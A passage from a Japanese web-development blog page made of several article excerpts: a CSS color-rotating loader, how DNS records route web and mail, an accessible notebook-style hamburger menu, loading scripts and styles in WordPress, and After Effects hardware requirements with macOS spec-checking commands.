1) infinite alternate; } アニメーションは以下の2つを組み合わせています： colorCycle: 時間経過とともに10色に変化するアニメーション rotateToAngle: 緩急のある回転アニメーション（cubic-bezier） 🔗 デモはこちら See the Pen Untitled by masakazuimai (@masakazuimai) on CodePen. 🏷️ 名前の由来 ColorRotor（カラーローター）は「色が変化する回転体」という意味で名付けました。視覚的に心地よく、かつ目立ちすぎないデザインが特徴です。 🚀 カスタマイズ例 色数を変更してテーマに合わせる 回転速度を調整してUIの緩急を設計 capsuleの本数を5〜6本に増やして複雑化する hover時にstopや逆回転などのインタラクション追加 📝 まとめ ColorRotorは、CSSだけでここまで表現できる！という一つの参考例です。小さなパーツにこそ遊び心やUIの差別化を加えて、印象に残るサイトを作りましょう！ ほかのローディング演出も見比べたい場合は、ページ遷移アニメーションをコピペで使える無料ツールにスピナー・プログレスバー・カウンターなどがまとまっています。画面を覆うタイプの演出を再生しながら選べます。 よくある質問（FAQ） Q. CSSで色が回転するアニメーションの作り方は？ filter: hue-rotate()をCSS animationで0degから360degまで変化させると、要素の色相が連続的に変化する虹色アニメーションになります。また、background: conic-gradientで円錐グラデーションを作成し、@keyframesでtransform: rotate()させることで、カラーホイールが回転するような表現も実装できます。 Q. hue-rotate()フィルターの仕組みは？ hue-rotate()は要素のすべての色の色相（Hue）を指定角度だけ回転させるCSSフィルターです。0degが元の色、180degが補色、360degで一周して元の色に戻ります。画像・テキスト・背景すべてに影響するため、特定の要素だけに適用したい場合はその要素にのみfilterを設定してください。 ### [Web制作者のための基本知識｜HTML・WordPress・メールのサーバー構成まとめ](https://codequest.work/html-wordpress-mail-servers/) 1つのドメインに対して、Webの表示を担当するサーバーとメールを担当するサーバーは、DNSの別々のレコードで指定されています。ブラウザがアクセスする先を決めるのがAレコード、そのドメイン宛のメールを受け取る先を決めるのがMXレコード、そのドメインを名乗って送信してよいサーバーを宣言するのがTXTレコード（SPF・DMARC）です。同じレンタルサーバー契約であっても、この3つは独立して別のサーバーへ向けられます。 この構造を知らないと、トラブルのときに見る場所を間違えます。「サイトは普通に見えているのにメールだけ届かない」という報告を受けてWebサーバーのログを掘っても、原因はそこにありません。Webの向き先とメールの向き先は別のレコードで決まっているので、症状ごとに見るべきレコードが決まっているからです。 この記事は、書体のように「どのサーバーが偉いか」を並べるカタログではありません。いま担当しているドメインのWebとメールが、実際にどのサーバーへ振り分けられているかをDNSから読み取り、障害が起きたときにWeb側・メール送信側・メール受信側のどこを見に行けばよいかを切り分けられるようになることをゴールにしています。記事の後半には、ターミナルで4回コマンドを打つだけで判定できる検証手順と、合否ラインの表を用意しました。 なお、SPF・DKIM・DMARCの設定方法とPHPからのSMTP送信の実装は、この記事では扱いません。専用の記事に分けてあるので、切り分けの結果「認証レコードが原因」と分かった時点でそちらへ進んでください。本記事は「レコードが引けているか・揃っているか」の判定までを担当します。 本記事に記載した仕様・数値・ブランド名は、すべて2026年8月1日時点で提供元の一次資料を直接確認した内容です。該当箇所には出典へのリンクを置いています。メールの受信要件は各社が随時更新しているため、実務で判断する前には必ず最新の表示を確認してください。 1つのドメインに、サーバーは何台ぶら下がっているのか DNS（Domain Name System）は、ドメイン名から「行き先」を引くための対応表です。重要なのは、この対応表が1行ではないことです。同じ example.com というドメインに対して、用途ごとに別々のレコードが並んでおり、それぞれが違うサーバーを指せます。 レコードの種類と、それが決めていること Web制作の実務で押さえておくべきレコードは5種類です。「症状」の列がそのまま、あとで使う切り分け表の入口になります。 レコード決めていること壊れたときに出る症状A / AAAAブラウザがアクセスするWebサーバーのIPアドレスサイトが表示されない・古いサーバーが表示されるMXそのドメイン宛のメールを受け取るサーバー自社ドメイン宛のメールが届かないTXT（v=spf1）そのドメインを名乗って送信してよいサーバー（SPF）送ったメールが迷惑メールに入る・拒否されるTXT（_dmarc）認証に失敗したメールをどう扱うかの方針（DMARC）Gmail・Outlook.com宛だけ届かないCNAME別名の割り当て（DKIMの公開鍵配布などに使われる）DKIM署名の検証が通らない この表からすでに1つの結論が出ます。Webサイトが正常に見えていることは、メールが正常であることの証拠にならないということです。AレコードとMXレコードは互いに独立していて、片方が正しくてももう片方が空でも、DNSとしては何のエラーにもなりません。 Webとメールが分かれる4つの典型パターン 制作案件で遭遇する構成は、だいたい次の4パターンに収まります。自分が担当しているサイトがどれに当たるかを言えるようにしておくと、障害時の初動が速くなります。 パターンAレコードの向き先MXレコードの向き先よくある場面同居型レンタルサーバー同じレンタルサーバーConoHa WING・エックスサーバーの標準構成Web分離型静的ホスティング（Vercel・Netlify・Cloudflare Pagesなど）メール専用の別サービスフロントを静的化した企業サイトメール分離型レンタルサーバーGoogle Workspaceなどのクラウドメール社内メールをGmailに寄せた会社のコーポレートサイト送信専用型レンタルサーバーまたは静的ホスティングMXレコードなし（受信しない）フォーム通知だけを外部へ飛ばすLP・キャンペーンサイト ここで大事なのは、4つのうちどれが正しいかではなく、自分の案件がどれなのかを即答できることです。「メール分離型なのに、レンタルサーバー側のメール設定を見に行った」という時間の使い方が、切り分けでいちばんよく起きるロスです。 「受け取るサーバー」と「送り出すサーバー」も別物 MXレコードは受信の宛先だけを決めています。送信には一切関与しません。自分のドメインからメールを送り出すサーバーがどれであるかは、MXではなくSPFレコード（TXT）の中身が示しています。 この非対称を押さえておかないと、「MXはGoogle Workspaceに向いているから送信もGoogle経由のはず」という誤った前提で調べ始めてしまいます。実際には、MXはGoogle Workspaceに向けつつ、WordPressの通知メールだけはレンタルサーバーから直接出ている、という構成がごく普通に存在します。この場合、SPFにレンタルサーバー側の送信元が含まれていなければ、その通知メールだけが落ちます。 ▶ Web側（HTTP・データベース・API）の全体像はこちらで整理しています HTMLサイトのサーバー｜静的配信が担当する範囲 HTML・CSS・JavaScriptだけで構成された静的サイトは、サーバーに「置いてあるファイルをそのまま返す」ことしか求めません。データベースもPHPも不要なので、必要な機能はAレコードが指すWebサーバー1台で完結します。 代表的なWebサーバーと静的ホスティング 名前種別2026年8月時点の位置づけApacheWebサーバーソフトモジュール構成が柔軟。.htaccess でディレクトリ単位の設定ができるNginxWebサーバーソフトイベント駆動で同時接続に強い。リバースプロキシとしても使われるVercelホスティングプラットフォーム公式サイトの見出しは「Agentic Infrastructure」。静的配信に加えてサーバーレス関数・SSR・AI向け基盤を含むNetlifyホスティングプラットフォーム公式サイトの見出しは「Push your ideas to the web」。Functions・Database・Edge networkを備えたアプリ基盤Cloudflare Pages / GitHub PagesホスティングサービスGitリポジトリと連携して静的成果物を配信する ここは古い解説が残りやすい箇所です。VercelとNetlifyを「Jamstack専用の静的ホスティング」と説明している記事は多いのですが、2026年8月1日時点でNetlify公式トップページに「Jamstack」という語は1件も出てきません（見出しは「Push your ideas to the web」で、Functions・Database・Observabilityが機能として並んでいます）。Vercelのトップページのタイトルも「Agentic Infrastructure」です。どちらもサーバーレス関数とSSRを備えたアプリケーション基盤であり、静的配信はその一部という位置づけになっています。出典はNetlify公式サイトおよびVercel公式サイトです。 静的ホスティングには、メールの受信機能が付いてこない 経路の話に戻すと、静的ホスティングを選んだ時点で構成は自動的に「Web分離型」になります。Aレコードをホスティング側へ向けても、MXレコードは何も設定されません。独自ドメインのメールを受け取りたければ、メール側は別のサービスを契約してMXを向ける必要があります。 レンタルサーバーからの移行でよく起きるのが、この取りこぼしです。「サイトをVercelに移した翌日から問い合わせメールが来なくなった」という事故は、Aレコードだけ書き換えてMXレコードを元のサーバーに残し忘れた（あるいは新しいDNSゾーンにMXを転記し忘れた）ことが原因です。移行時は必ずAとMXを別々に確認してください。 また、静的サイトのフォームには、送信を担当するプログラムがありません。ホスティング側のフォーム機能を使うか、サーバーレス関数から外部のメール送信サービスのAPIを叩くか、外部フォームサービスに預けるかのいずれかになります。いずれの場合も送信元は自分のドメイン以外のサーバーになるため、後述のSPFに影響します。 ▶ 個人サイト・ポートフォリオのサーバー選びはこちら WordPressのサーバー｜LAMP・LEMPと公式の動作要件 WordPressは、リクエストを受けるたびにPHPを実行してデータベースから記事を組み立てます。したがって静的サイトと違い、Webサーバー・PHP・データベースの3つがそろっていないと動きません。 LAMPとLEMPは、何を使っているかの呼び分け 「LAMP構成」という言い方は広く使われていますが、頭文字の意味を取り違えたまま説明されていることがあります。LAMPの「A」はApacheです。したがって、LAMPの表に「Apache / Nginx」と並べて書くのは矛盾しています。 頭文字LAMPLEMPLLinux（OS）Linux（OS）A / EApache（Webサーバー）Nginx（Engine-x の「E」）MMySQL または MariaDB（データベース）MySQL または MariaDB（データベース）PPHP（実行環境）PHP（実行環境。PHP-FPM経由で動かすのが一般的） 呼び分けを気にする実益は、.htaccess の有無にあります。ApacheはディレクトリごとにApache設定を読み込みますが、Nginxは .htaccess を読みません。「パーマリンクを変えたら404になった」「リダイレクトを書いたのに効かない」という症状に当たったとき、まず自分の環境がLAMPなのかLEMPなのかを確認すると原因に早く着けます。 WordPress公式が求める動作要件 サーバーを選ぶときは、WordPress.orgが公開している要件と照らすのがいちばん確実です。以下はWordPress.org「Requirements」ページを2026年8月1日に確認した内容です。 項目推奨（公式が示すベースライン）レガシー環境での動作PHPバージョン 8.3 以上PHP 7.4 以上でも動作するが、公式にサポート終了（EOL）済みデータベースMariaDB 10.11 以上 または MySQL 8.0 以上MySQL 5.5.5 以上でも動作するが、同じくEOL済みHTTPSすべてのインストールで必須—WebサーバーApache または Nginx を推奨PHPとMySQLが動くサーバーであれば動作する 実務上のポイントはHTTPSが「推奨」ではなく「必須（Required for every install）」と書かれていることと、レガシー版で動くこと自体は公式も認めているが「セキュリティ脆弱性にさらされる可能性があるためアップグレードを強く推奨」と明記されていることです。サーバー選定でPHPバージョンを確認するときは、8.3以上を出せるかどうかを最低ラインにしてください。 ### [ノート風ハンバーガーメニューをCSSで作る｜キーボード対応まで](https://codequest.work/yellow-note-hamburger-menu/) ノート風ハンバーガーメニューとは、repeating-linear-gradient で罫線を、疑似要素で綴じ目を描いて、紙のノートの見た目を再現した開閉メニューです。見た目はCSSだけで作れますが、開閉ボタンを <div> で作ると、キーボードだけで操作する人はそのメニューを一度も開けません。 この記事は、罫線と綴じ目をCSSで描く手順に加えて、実際に自分で作ったデモを実ブラウザで検査したら何が動いていなかったのかを実測値つきで示し、<button>・aria-expanded・inert で直すところまでを1本で通します。ライブラリは使いません。 最後に、あなた自身の実装が本当に直っているかを、見た目ではなくブラウザのコンソールで判定する手順を置きます。合格ラインと、外れたときにどこを見ればよいかまで書いてあります。 最初に作ったノート風メニュー（修正前） 作るものは、右端からスライドして出てくる紙のノート風のメニューです。要素は3つに分解できます。 横罫線：メニューの背景に、等間隔の横線を引く 綴じ目のミシン目：右端に、破線状の縦線を1本入れる 開閉：ハンバーガーボタンで、右からスライドさせる 下の埋め込みは、最初に作った修正前の実装です。見た目の完成イメージを示すために、あえてそのまま残してあります。コピーして使うのは、この記事の「修正版のコピペで動くコード」の章にあるコードにしてください。修正前の実装には、次の章で示すとおりキーボード操作の欠陥が残っています。 See the Pen Untitled by masakazuimai (@masakazuimai) on CodePen. マウスで触るぶんには、狙いどおりに動きます。罫線も綴じ目も出ていますし、スマホ幅でも開きます。問題は、マウスを使わない人がこのメニューをどう操作するのかを一度も確かめていなかったことでした。 検査したら、キーボードでは一度も開けなかった 上のデモをローカルに置き、実ブラウザ（Chromium 151）を自動操作して計測しました。判定はすべてDOMから読み取った値で、開発者ツールのパネルの見え方は根拠にしていません。結果は次のとおりです。 検査したこと修正前の実測値読者に起きることTabキーでボタンに到達するか8回押しても到達しない（tabIndex は -1）キーボードだけではメニューを開けない強制的にフォーカスしてEnter・Spaceクラスが付かず開かない同上。回避手段がない閉じている状態のメニュー内リンク4本すべてフォーカスを受け取る（x座標1990＝画面外）何も見えないままTabを4回空振りする開いた後の aria-expandednull開いているか閉じているかが支援技術に伝わらない動きを減らす設定での transition-durationメニュー 0.5s／アイコン 0.3s設定を有効にしても動きが減らないビューポート幅601pxでのメニュー幅600px（画面の99.8%）小型タブレットで実質フルスクリーンになる 上の1行目と2行目は、WCAG 2.2の達成基準 2.1.1 キーボード（Understanding・2026年8月2日取得）にそのまま抵触します。3行目は 2.4.3 フォーカス順序（同）の問題です。見た目が完成していても、操作経路が1本しかない状態でした。 ハンバーガーメニューそのものの標準的な作り方はハンバーガーメニューをCSSとJavaScriptで実装する基本の型にまとめてあります。この記事はその総論には踏み込まず、ノート風という特定の見た目を作り切り、そこにキーボード操作を通すところまでを扱います。 修正版のコピペで動くコード 先に完成形を置きます。まず動かしたい場合は、この3ブロックをそのまま持っていけば動きます。理屈は次の章から順に分解します。 <button type="button" class="hamburger" id="hamburger" aria-expanded="false" aria-controls="menu" aria-label="メニューを開く"> <span></span><span></span><span></span> </button> <nav class="menu" id="menu" inert> <ul> <li><a href="#">ホーム</a></li> <li><a href="#">プロフィール</a></li> <li><a href="#">サービス</a></li> <li><a href="#">お問い合わせ</a></li> </ul> </nav> :root { --note-base: #f7f1aa; --note-hi: #fff9b3; --note-rule: #c1c1c1; --ink: #333; } .hamburger { position: fixed; top: 20px; right: 20px; z-index: 1001; width: 44px; height: 44px; display: flex; flex-direction: column; justify-content: center; gap: 6px; padding: 0; border: none; background: transparent; cursor: pointer; } .hamburger span { display: block; height: 3px; width: 30px; margin-inline: auto; background-color: var(--ink); border-radius: 3px; transition: transform .3s, opacity .3s; } .hamburger:focus-visible { outline: 3px solid #0b57d0; outline-offset: 3px; } .hamburger[aria-expanded="true"] span:nth-child(1) { transform: translateY(9px) rotate(45deg); } .hamburger[aria-expanded="true"] span:nth-child(2) { opacity: 0; } .hamburger[aria-expanded="true"] span:nth-child(3) { transform: translateY(-9px) rotate(-45deg); } .menu { position: fixed; inset-block: 0; inset-inline-end: 0; z-index: 1000; width: min(600px, 80vw); padding: 60px 20px; box-sizing: border-box; background: repeating-linear-gradient(var(--note-base), var(--note-hi) 20px, var(--note-rule) 21px); border-inline-start: 10px solid #ccc; box-shadow: -5px 0 15px rgb(0 0 0 / .1); transform: translateX(100%); visibility: hidden; transition: transform .5s ease, visibility .5s; } .menu::before { content: ""; position: absolute; inset-block: 0; inset-inline-end: 10px; width: 2px; background: repeating-linear-gradient(#888 0, #888 5px, transparent 5px, transparent 15px); } .menu.is-open { transform: translateX(0); visibility: visible; } .menu ul { list-style: none; padding: 0; margin: 0; } .menu li { margin: 20px 0; } .menu a { color: var(--ink); font-size: 18px; text-decoration: none; font-family: ui-monospace, Menlo, monospace; } .menu a:focus-visible { outline: 3px solid #0b57d0; outline-offset: 2px; } @media (prefers-reduced-motion: reduce) { .menu, .hamburger span { transition: none; } } const hamburger = document.getElementById("hamburger"); const menu = document.getElementById("menu"); const setOpen = (open) => { hamburger.setAttribute("aria-expanded", String(open)); hamburger.setAttribute("aria-label", open ? "メニューを閉じる" : "メニューを開く"); menu.classList.toggle("is-open", open); menu.inert = !open; }; hamburger.addEventListener("click", () => { setOpen(hamburger.getAttribute("aria-expanded") !== "true"); }); document.addEventListener("keydown", (e) => { if (e.key === "Escape" && hamburger.getAttribute("aria-expanded") === "true") { setOpen(false); hamburger.focus(); } }); このコードを実ブラウザで計測した結果です。修正前の表と同じ項目を並べてあります。 ### [WordPressでJavaScriptを正しく読み込む方法｜wp_enqueue_scriptの使い方と条件分岐も解説](https://codequest.work/wordpress-js-load-method/) WordPressで独自のJavaScriptファイルを読み込みたいとき、どのように書くのが正解でしょうか？ 実は wp_enqueue_script() 関数を使うことで、WordPressに最適な形でJSを安全に読み込むことができます。この記事では、基本的な使い方に加えて、「特定ページだけ読み込む」などの条件分岐テクニックも解説します。 ✅ wp_enqueue_script() の基本構文 まずは functions.php に以下のように記述します。 function my_theme_enqueue_scripts() { if ( !is_admin() ) { wp_enqueue_script( 'custom-script', // ハンドル名（識別用） get_template_directory_uri() . '/js/script.js', // JSファイルのパス array(), // 依存スクリプト（例: jQuery） '1.0.0', // バージョン true // フッターで読み込む（true = </body>直前） ); } } add_action('wp_enqueue_scripts', 'my_theme_enqueue_scripts'); 各引数の意味 引数位置説明'custom-script'読み込み対象に付ける名前（識別名）get_template_directory_uri() . '/js/script.js'読み込むJSファイルのURLarray()依存ファイル（例：array('jquery')）'1.0.0'バージョン指定（キャッシュ対策）trueフッターで読み込む（falseにするとheadで読み込む） ✅ 条件分岐で「特定のページだけ」読み込む方法 WordPressには条件分岐タグが豊富に用意されているため、指定ページだけにJSを読み込むことが可能です。 例：固定ページ「お問い合わせ」だけに読み込む function my_theme_enqueue_scripts() { if ( !is_admin() && is_page('contact') ) { wp_enqueue_script( 'contact-form-script', get_template_directory_uri() . '/js/contact.js', array(), '1.0.0', true ); } } add_action('wp_enqueue_scripts', 'my_theme_enqueue_scripts'); その他の条件分岐例： 条件関数トップページのみis_front_page()投稿ページのみis_single()カスタム投稿タイプのアーカイブis_post_type_archive('custom-post')特定の投稿IDis_single(123)特定のカテゴリページis_category('news') ✅ jQueryに依存したスクリプトを読み込む場合 WordPressには jQuery があらかじめ同梱されています。依存させる場合は以下のように記述します。 function my_theme_enqueue_scripts() { if ( !is_admin() ) { wp_enqueue_script( 'jquery-script', get_template_directory_uri() . '/js/jquery-custom.js', array('jquery'), '1.0.0', true ); } } add_action('wp_enqueue_scripts', 'my_theme_enqueue_scripts'); is_admin() を使う理由 is_admin() を使うことで、管理画面ではスクリプトを読み込まないようにできます。テーマや管理プラグインに干渉する心配を避けるためにも、特にフロント専用スクリプトではこの条件分岐を加えるのがベストプラクティスです。 実務Tips（ベストプラクティス集） functions.php で正しく管理する 直接 <script> タグを header.php や footer.php に書くのは非推奨。 wp_enqueue_script() を使い、依存関係や読み込み順をWordPressに任せましょう。 子テーマで管理する 親テーマを直接編集するとアップデートで消えてしまいます。 必ず子テーマにコードを追加し、カスタマイズを維持しましょう。 wp_enqueue_scripts アクションを利用する 通常は以下のように記述します： function my_theme_scripts() { wp_enqueue_script('custom-js', get_stylesheet_directory_uri() . '/js/custom.js', array('jquery'), '1.0.0', true); } add_action('wp_enqueue_scripts', 'my_theme_scripts'); 第3引数は依存するライブラリ（例: jquery）、第5引数の true はフッター読み込みを意味します。 不要なスクリプトは読み込まない 使わないプラグインやテーマのJSは読み込み負荷になります。 wp_dequeue_script() を使って整理するのもパフォーマンス改善のコツです。 バージョン管理でキャッシュ対策 第4引数のバージョン番号を変更すれば、ブラウザキャッシュを回避できます。 例: filemtime() を使って自動更新する方法も有効です。 よくある質問 Q. <script> タグを直接書くのはなぜ良くないのですか？ WordPressの更新やテーマ切り替えで消えるリスクがあり、依存関係の管理もできないためです。 Q. jQueryを使うときはどうすればいいですか？ wp_enqueue_script の依存関係に array('jquery') を追加することで、安全に読み込めます。 Q. フッターに読み込ませたい場合は？ 第5引数を true にすると </body> の直前に読み込まれます。 Q. 管理画面でも読み込みたいときは？ wp_enqueue_scripts ではなく admin_enqueue_scripts を使用します。 Q. 既存テーマのJSを削除することは可能ですか？ はい。wp_dequeue_script() や wp_deregister_script() を使って無効化できます。 🧪 まとめ JavaScriptは wp_enqueue_script() で読み込むのがWordPressの正しい方法 条件分岐で「必要なページだけ」読み込めるので高速化にも貢献 is_admin() を使って管理画面の影響を防ぐのもポイント CSSの読み込み方法はこちら ✅ 今すぐ使えるシンプル実装 function my_theme_enqueue_assets() { // 管理画面では読み込まない if ( !is_admin() ) { // CSSの読み込み wp_enqueue_style( 'main-style', get_template_directory_uri() . '/style.css', array(), '1.0.0', 'all' ); // JavaScriptの読み込み wp_enqueue_script( 'main-script', get_template_directory_uri() . '/js/script.js', array('jquery'), // '1.0.0', true // trueでフッターに読み込み ); } } add_action('wp_enqueue_scripts', 'my_theme_enqueue_assets'); ### [WordPressでCSSを読み込む正しい方法｜linkタグとwp_enqueue_styleの違いとは？](https://codequest.work/wordpress-css-load-method/) WordPressでテーマを作成していると、「CSSファイルってどうやって読み込ませるのが正解？」という疑問にぶつかる方は多いでしょう。実は、CSSを読み込むには主に2つの方法があります。 <link>タグを直接書く方法 functions.phpにwp_enqueue_style()を記述する方法 この記事では、それぞれの特徴と、なぜWordPressでは wp_enqueue_style() の使用が推奨されているのか、さらに is_admin() を使って管理画面との分離方法についても解説します。 ✅ 方法①：linkタグで直接CSSを読み込む HTMLでおなじみの方法で、テーマのheader.phpなどに以下のように記述します。 <link rel="stylesheet" href="<?php echo get_template_directory_uri(); ?>/style.css"> この方法のメリット： 手軽で初心者にとって分かりやすい テストや一時的な読み込みには便利 ただし… WordPressのテーマ構造やプラグインと連携する際には不向きです。複数のCSSファイルを読み込む際や、条件分岐が必要な場面では柔軟性がなく、トラブルの原因になることもあります。 ✅ 方法②：wp_enqueue_style()を使ってCSSを読み込む（推奨） WordPressが公式に推奨している方法が wp_enqueue_style() 関数を使う方法です。 functions.php に以下のように記述します。 function my_theme_enqueue_styles() { // 管理画面では読み込まないようにする if ( !is_admin() ) { wp_enqueue_style( 'main-style', get_template_directory_uri() . '/style.css', array(), '1.0.0', 'all' ); } } add_action('wp_enqueue_scripts', 'my_theme_enqueue_styles'); この方法のメリット： WordPressの仕様に沿っており、安全・安定 読み込む順番や条件分岐（例：特定のページだけ読み込む）が可能 プラグインや他テーマと干渉しにくい ブラウザキャッシュ対策がしやすい 🔍 is_admin() とは？ is_admin() は「現在の画面が WordPress の管理画面かどうか」を判定する関数です。 true：管理画面（ダッシュボードなど）である false：フロント（ユーザーが見るページ）である この条件を使うことで、管理画面には不要なCSSやJSの読み込みを避けることができ、パフォーマンス向上や誤作動防止につながります。 ✅ is_admin() を使う理由 理由内容管理画面を汚さないフロント向けのCSSが管理画面に影響するのを防ぐ軽量化管理画面の無駄な読み込みを防止不具合回避JSやCSSが管理画面と競合することを避けられる 🔁 実際の比較 項目linkタグwp_enqueue_style推奨度❌ 非推奨✅ 推奨柔軟性低い高い（条件分岐・依存関係対応）管理画面対応不可is_admin()で対応可能プラグイン干渉対策弱い強い 🎯 まとめ WordPressテーマ開発では「条件に応じて適切に読み込む」ことが重要！ 開発初期は<link>でも可能だが、本番では wp_enqueue_style() を使うのがベスト is_admin() を使えば、管理画面とフロント画面の処理をしっかり分けられる javascriptの読み込み方法はこちら ✅ 今すぐ使える実装コード function my_theme_enqueue_assets() { // 管理画面では読み込まない if ( !is_admin() ) { // CSSの読み込み wp_enqueue_style( 'main-style', get_template_directory_uri() . '/style.css', array(), '1.0.0', 'all' ); // JavaScriptの読み込み wp_enqueue_script( 'main-script', get_template_directory_uri() . '/js/script.js', array('jquery'), '1.0.0', true // trueでフッターに読み込み ); } } add_action('wp_enqueue_scripts', 'my_theme_enqueue_assets'); FAQ（WordPressでCSSを読み込む方法） Q. CSSはどこに書くのがベスト？ 基本はテーマ（または子テーマ）のstyle.cssをwp_enqueue_style()で読み込み、追加カスタムは子テーマか専用プラグインで管理するのが安全です。 Q. functions.phpでの正しい読み込みコードは？ 例：wp_enqueue_style( 'theme-style', get_stylesheet_uri(), [], '1.0.0' );子テーマのCSSはget_stylesheet_directory_uri()を使います。 Q. 読み込み順はどう制御する？ 第3引数の依存配列で順序付けします（例：['wp-block-library']）。依存関係で解決できない場合は1ファイルにまとめるのが確実です。 Q. プラグインCSSより後に自分のCSSを当てたい 自作CSSのハンドルにプラグインCSSのハンドルを依存として指定します。難しい場合は「後から読み込む1つの上書きCSS」を作るのが現実的です Q. 子テーマを使うべきタイミングは？ テーマのCSSやテンプレートを編集したい時は必須。親テーマ更新時に上書きされないためです。 Q. ブロックテーマの場合はtheme.jsonとどちらを使う？ 基本はtheme.jsonで設計→足りない部分だけCSSで補強、が推奨です。将来の互換性と管理性が高いです。 Q. クリティカルCSSやインラインCSSは有効？ ファーストビューに限った軽いインラインは有効です。ただし過剰なインライン化はキャッシュ効率を下げるので最小限に。 Q. バージョン付与（キャッシュバスティング）は必要？ 必要です。wp_enqueue_style()の第4引数にテーマバージョンやビルドのハッシュを入れると更新が即時反映されます。 Q. 不要なCSS（プラグイン）を止めたい wp_dequeue_style() / wp_deregister_style()を適切なフック（例：wp_enqueue_scriptsの後段）で使います。影響範囲を限定して実施してください。 Q. CDNやMinifyプラグインとの相性は？ 基本は良好ですが、結合・最適化で順序が崩れることがあります。問題が出たら該当CSSを除外リストに入れて順序を保つと安定します。 ### [After Effects導入前チェック｜必要スペック・料金・最初に作る1本](https://codequest.work/after-effects-guide/) After Effectsとは、映像にモーショングラフィックスと視覚効果（VFX）を加えるためのAdobeのコンポジットソフトです。カット・テロップ・色調整といった「並べる編集」はPremiere Proの担当で、After Effectsは1カットの中身そのものを作り込むためのソフトだと考えると、両者の境界を間違えずに済みます。 ただし、After Effectsで実際に困るのは「何ができるか」ではありません。自分のPCで実用的に動くのか、月いくらかかるのか、最初に何を作れば覚えたと言えるのか——この3つが決まらないまま体験版を入れて、プレビューがカクついた時点で止まってしまうケースがほとんどです。 この記事は、その3つを読者が自分の環境で判定できる形にまとめた導入前チェックです。掲載した金額と必要システム構成は、すべて2026年8月2日にAdobe公式ページから取得しました。動作環境の判定に使うコマンドは、macOS 26.5.2／Apple M3の実機で実際に実行し、出力を確認したものだけを載せています。 30秒で判定：Premiere Proで足りるか、After Effectsが要るか 最初に決めるのは「買うかどうか」ではなく「そもそも要るかどうか」です。Adobe公式のFAQは両者の関係をこう書いています。「Premiereはビデオ編集に最適な製品、After Effectsはモーショングラフィックスとビジュアルエフェクト用の製品です」（After Effectsプラン比較ページのFAQ・2026年8月2日取得）。つまり、どちらが上位という関係ではなく、担当する工程が違います。 作りたいものを次の表に当てはめると、判定は30秒で終わります。 やりたいこと適したソフト理由撮影素材を並べて不要な部分を切るPremiere Proタイムライン上の編集作業。尺の管理が主目的テロップを入れる、色を整えるPremiere Proクリップ単位の処理で完結するロゴを動かす、文字が組み上がる演出を作るAfter Effects1カットの中身をキーフレームで組み立てるグリーンバックの背景を差し替えるAfter Effectsキーイングと合成が本来の守備範囲3D空間にテキストやモデルを配置するAfter Effects3Dレンダラーとカメラを持っている映像に映り込んだ不要物を消すAfter Effectsマスクトラッキングと除去機能を持っている 表の上半分しか当てはまらないなら、After Effectsは今は不要です。逆に下半分が1つでもあるなら、Premiere Proのエフェクトで代用しようとするより、After Effectsを覚えたほうが結果的に早くなります。公式FAQも「一般的なワークフローでは、Premiereでビデオプロジェクトを開始し、After Effectsを使用してビジュアルエフェクトやモーショングラフィックスをそれに追加します」と、併用を前提とした流れを示しています。 なお、動かしたい対象が映像ではなくWebサイトやバナーであれば、そもそも映像ソフトの出番ではありません。静止画とWeb側のツール選びは Canva・Figma・STUDIOの使い分け で整理しています。「Web上の動き」と「映像の中の動き」は別のスキルなので、ここを混同したまま高い方を買うと確実に無駄になります。 自分のPCで動くかを、公式の必要システム構成と突き合わせて判定する 「高スペックPCが推奨」という説明はよく見かけますが、これでは何も判定できません。Adobeは最小と推奨を数値で公開しています。以下はAfter Effects 26.3（2026年6月）／26.2.1／26.2／26.0に適用される値で、出典はAdobeヘルプの「After Effects の必要システム構成」（ページ内の最終更新日 2026年6月17日・2026年8月2日取得）です。 Windows版の最小と推奨 項目最小推奨プロセッサーIntel 第6世代以降、または AMD Ryzen 1000シリーズ以降。AVX2サポートが必須Quick Sync搭載のIntel 第11世代以降、または AMD Ryzen 3000シリーズ以降OSWindows 11 v24H2Windows 11 v24H2 以降メモリ16GBのRAMHDメディアは16GB、4K以上は32GB以上GPUNVIDIAはMaxwell世代以降でGPUメモリ4GB以上。IntelとAMDはOpenCL対応のディスクリートGPUでGPUメモリ4GB以上GPUメモリ8GBストレージ空き8GB以上。取り外し可能なフラッシュメモリ上には不可。メディア用に別の高速ドライブアプリとキャッシュ用の内蔵高速SSD。メディア用に別の高速ドライブディスプレイ1440x9001920x1080以上 見落とされやすい点が3つあります。ひとつめはWindows 10が最小要件から外れていること。ふたつめはAVX2のサポートが必須で、CPUが古いと世代だけ満たしていても動かない可能性があること。みっつめはリリース25.6以降でOpenCL 2.0が必須になり、OpenCL 1.2以前のサポートが廃止されたことです。数年前のIntel内蔵GPU機はここで落ちます。ARM版Windowsについては、Qualcomm Snapdragon Xシリーズが対象で、OSビルドは26100.2033、Adreno GPUドライバーは31.0.121.1以降が条件です。 macOS版の最小と推奨 項目最小推奨プロセッサーIntel 第6世代以降。AVX2サポートが必須Apple シリコン M1 Pro、M1 Max、M1 Ultra 以降OSmacOS Sonoma（バージョン14）macOS Sonoma（バージョン14）以降メモリ16GBのRAMApple シリコンは16GBの統合メモリGPUApple シリコンは16GBのRAM。ディスクリートAMD GPU搭載のIntel Macは4GBのGPUメモリApple シリコンは16GBの統合メモリストレージ空き8GB以上。取り外し可能なフラッシュメモリ上には不可。メディア用に別の高速ドライブアプリとキャッシュ用の内蔵高速SSD。メディア用に別の高速ドライブディスプレイ1440x9001920x1080以上 ここで公式の書き方に穴があることを正直に書いておきます。macOSの最小欄のプロセッサーは「Intel 第6世代以降」しか書かれておらず、推奨欄は「Apple シリコン M1 Pro、M1 Max、M1 Ultra 以降」です。素のM1、M2、M3、M4は最小欄にも推奨欄にも名前がありません。したがって「M1以降なら大丈夫」と断定できる根拠は公式ページ上に存在しません。無印のMシリーズを使っているなら、後述の無料体験で自分の素材を実際に流して判断するのが唯一の確実な方法です。 自分のマシンの値を取る（macOS・実行して出力を確認済み） 表と突き合わせる自分側の数字は、ターミナルで6つのコマンドを打てば全部そろいます。以下は本記事の執筆時にmacOS 26.5.2／Apple M3の実機で実行し、出力を確認したものです。 # OSのバージョン（最小はmacOS 14） sw_vers # Apple シリコンかIntelか uname -m # CPUまたはチップの名前 sysctl -n machdep.cpu.brand_string # 搭載メモリをGBで表示（最小は16） echo "$(( $(sysctl -n hw.memsize) / 1024 / 1024 / 1024 )) GB" # GPUとディスプレイ解像度（最小は1440x900） system_profiler SPDisplaysDataType # 起動ディスクの空き容量（最小は8GB） df -h / 